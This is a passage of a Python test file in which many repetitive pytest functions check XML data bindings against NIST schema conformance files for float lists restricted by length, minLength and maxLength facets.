instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-4-1.xml",
class_name="NistschemaSvIvListFloatLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_3_nistxml_sv_iv_list_float_length_4_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-4-2.xml",
class_name="NistschemaSvIvListFloatLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_3_nistxml_sv_iv_list_float_length_4_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-4-3.xml",
class_name="NistschemaSvIvListFloatLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_3_nistxml_sv_iv_list_float_length_4_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-4-4.xml",
class_name="NistschemaSvIvListFloatLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_3_nistxml_sv_iv_list_float_length_4_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-4-5.xml",
class_name="NistschemaSvIvListFloatLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_2_nistxml_sv_iv_list_float_length_3_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-3-1.xml",
class_name="NistschemaSvIvListFloatLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_2_nistxml_sv_iv_list_float_length_3_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-3-2.xml",
class_name="NistschemaSvIvListFloatLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_2_nistxml_sv_iv_list_float_length_3_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-3-3.xml",
class_name="NistschemaSvIvListFloatLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_2_nistxml_sv_iv_list_float_length_3_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-3-4.xml",
class_name="NistschemaSvIvListFloatLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_2_nistxml_sv_iv_list_float_length_3_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-3-5.xml",
class_name="NistschemaSvIvListFloatLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_1_nistxml_sv_iv_list_float_length_2_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-2-1.xml",
class_name="NistschemaSvIvListFloatLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_1_nistxml_sv_iv_list_float_length_2_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-2-2.xml",
class_name="NistschemaSvIvListFloatLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_1_nistxml_sv_iv_list_float_length_2_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-2-3.xml",
class_name="NistschemaSvIvListFloatLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_1_nistxml_sv_iv_list_float_length_2_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-2-4.xml",
class_name="NistschemaSvIvListFloatLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_1_nistxml_sv_iv_list_float_length_2_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-2-5.xml",
class_name="NistschemaSvIvListFloatLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_nistxml_sv_iv_list_float_length_1_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-1-1.xml",
class_name="NistschemaSvIvListFloatLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_nistxml_sv_iv_list_float_length_1_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-1-2.xml",
class_name="NistschemaSvIvListFloatLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_nistxml_sv_iv_list_float_length_1_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-1-3.xml",
class_name="NistschemaSvIvListFloatLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_nistxml_sv_iv_list_float_length_1_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-1-4.xml",
class_name="NistschemaSvIvListFloatLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_length_nistxml_sv_iv_list_float_length_1_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-length-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-length-1-5.xml",
class_name="NistschemaSvIvListFloatLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_4_nistxml_sv_iv_list_float_min_length_5_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-5-1.xml",
class_name="NistschemaSvIvListFloatMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_4_nistxml_sv_iv_list_float_min_length_5_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-5-2.xml",
class_name="NistschemaSvIvListFloatMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_4_nistxml_sv_iv_list_float_min_length_5_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-5-3.xml",
class_name="NistschemaSvIvListFloatMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_4_nistxml_sv_iv_list_float_min_length_5_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-5-4.xml",
class_name="NistschemaSvIvListFloatMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_4_nistxml_sv_iv_list_float_min_length_5_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-5-5.xml",
class_name="NistschemaSvIvListFloatMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_3_nistxml_sv_iv_list_float_min_length_4_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-4-1.xml",
class_name="NistschemaSvIvListFloatMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_3_nistxml_sv_iv_list_float_min_length_4_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-4-2.xml",
class_name="NistschemaSvIvListFloatMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_3_nistxml_sv_iv_list_float_min_length_4_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-4-3.xml",
class_name="NistschemaSvIvListFloatMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_3_nistxml_sv_iv_list_float_min_length_4_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-4-4.xml",
class_name="NistschemaSvIvListFloatMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_3_nistxml_sv_iv_list_float_min_length_4_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-4-5.xml",
class_name="NistschemaSvIvListFloatMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_2_nistxml_sv_iv_list_float_min_length_3_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-3-1.xml",
class_name="NistschemaSvIvListFloatMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_2_nistxml_sv_iv_list_float_min_length_3_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-3-2.xml",
class_name="NistschemaSvIvListFloatMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_2_nistxml_sv_iv_list_float_min_length_3_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-3-3.xml",
class_name="NistschemaSvIvListFloatMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_2_nistxml_sv_iv_list_float_min_length_3_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-3-4.xml",
class_name="NistschemaSvIvListFloatMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_2_nistxml_sv_iv_list_float_min_length_3_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-3-5.xml",
class_name="NistschemaSvIvListFloatMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_1_nistxml_sv_iv_list_float_min_length_2_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-2-1.xml",
class_name="NistschemaSvIvListFloatMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_1_nistxml_sv_iv_list_float_min_length_2_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-2-2.xml",
class_name="NistschemaSvIvListFloatMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_1_nistxml_sv_iv_list_float_min_length_2_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-2-3.xml",
class_name="NistschemaSvIvListFloatMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_1_nistxml_sv_iv_list_float_min_length_2_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-2-4.xml",
class_name="NistschemaSvIvListFloatMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_1_nistxml_sv_iv_list_float_min_length_2_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-2-5.xml",
class_name="NistschemaSvIvListFloatMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_nistxml_sv_iv_list_float_min_length_1_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-1-1.xml",
class_name="NistschemaSvIvListFloatMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_nistxml_sv_iv_list_float_min_length_1_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-1-2.xml",
class_name="NistschemaSvIvListFloatMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_nistxml_sv_iv_list_float_min_length_1_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-1-3.xml",
class_name="NistschemaSvIvListFloatMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_nistxml_sv_iv_list_float_min_length_1_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-1-4.xml",
class_name="NistschemaSvIvListFloatMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_min_length_nistxml_sv_iv_list_float_min_length_1_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-minLength-1.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-minLength-1-5.xml",
class_name="NistschemaSvIvListFloatMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_4_nistxml_sv_iv_list_float_max_length_5_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-5-1.xml",
class_name="NistschemaSvIvListFloatMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_4_nistxml_sv_iv_list_float_max_length_5_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-5-2.xml",
class_name="NistschemaSvIvListFloatMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_4_nistxml_sv_iv_list_float_max_length_5_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-5-3.xml",
class_name="NistschemaSvIvListFloatMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_4_nistxml_sv_iv_list_float_max_length_5_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-5-4.xml",
class_name="NistschemaSvIvListFloatMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_4_nistxml_sv_iv_list_float_max_length_5_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 10.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-5.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-5-5.xml",
class_name="NistschemaSvIvListFloatMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_3_nistxml_sv_iv_list_float_max_length_4_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-4-1.xml",
class_name="NistschemaSvIvListFloatMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_3_nistxml_sv_iv_list_float_max_length_4_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-4-2.xml",
class_name="NistschemaSvIvListFloatMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_3_nistxml_sv_iv_list_float_max_length_4_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-4-3.xml",
class_name="NistschemaSvIvListFloatMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_3_nistxml_sv_iv_list_float_max_length_4_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-4-4.xml",
class_name="NistschemaSvIvListFloatMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_3_nistxml_sv_iv_list_float_max_length_4_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-4.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-4-5.xml",
class_name="NistschemaSvIvListFloatMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_2_nistxml_sv_iv_list_float_max_length_3_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-3-1.xml",
class_name="NistschemaSvIvListFloatMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_2_nistxml_sv_iv_list_float_max_length_3_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-3-2.xml",
class_name="NistschemaSvIvListFloatMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_2_nistxml_sv_iv_list_float_max_length_3_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-3-3.xml",
class_name="NistschemaSvIvListFloatMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_2_nistxml_sv_iv_list_float_max_length_3_4(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-3-4.xml",
class_name="NistschemaSvIvListFloatMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_2_nistxml_sv_iv_list_float_max_length_3_5(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-3.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-3-5.xml",
class_name="NistschemaSvIvListFloatMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_1_nistxml_sv_iv_list_float_max_length_2_1(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-2-1.xml",
class_name="NistschemaSvIvListFloatMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_1_nistxml_sv_iv_list_float_max_length_2_2(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/float/Schema+Instance/NISTSchema-SV-IV-list-float-maxLength-2.xsd",
instance="nistData/list/float/Schema+Instance/NISTXML-SV-IV-list-float-maxLength-2-2.xml",
class_name="NistschemaSvIvListFloatMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_float_max_length_1_nistxml_sv_iv_list_float_max_length_2_3(mode, save_output, output_format):
"""
Type list/float is restricted by facet maxLength with value 6.
"""
assert_bindings(
